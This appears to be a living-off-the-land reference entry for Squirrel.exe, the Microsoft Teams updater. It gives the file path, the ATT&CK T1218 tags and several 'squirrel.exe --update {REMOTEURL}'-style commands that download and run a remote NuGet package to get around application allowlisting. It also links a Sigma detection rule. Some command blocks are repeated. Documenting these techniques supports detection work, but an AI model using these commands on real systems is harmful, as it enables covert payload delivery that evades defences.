Squirrel.exe

type: OtherMSBinaries

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Full path

C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe

Commands

DownloadUser T1218
Download binary
```
squirrel.exe --download {REMOTEURL}
```
The above binary will go to url and look for RELEASES file and download the nuget package.
os: Windows 7 and up with Microsoft Teams installed
AWL BypassUser T1218
Download and execute binary
```
squirrel.exe --update {REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
ExecuteUser T1218
Download and execute binary
```
squirrel.exe --update {REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
AWL BypassUser T1218
Download and execute binary
```
squirrel.exe --updateRollback={REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
ExecuteUser T1218
Download and execute binary
```
squirrel.exe --updateRollback={REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml

Code samples

https://github.com/jreegun/POC-s/tree/master/nuget-squirrel

Resources

acknowledgement: Reegun J (OCBC Bank) @reegun21, Adam @Hexacorn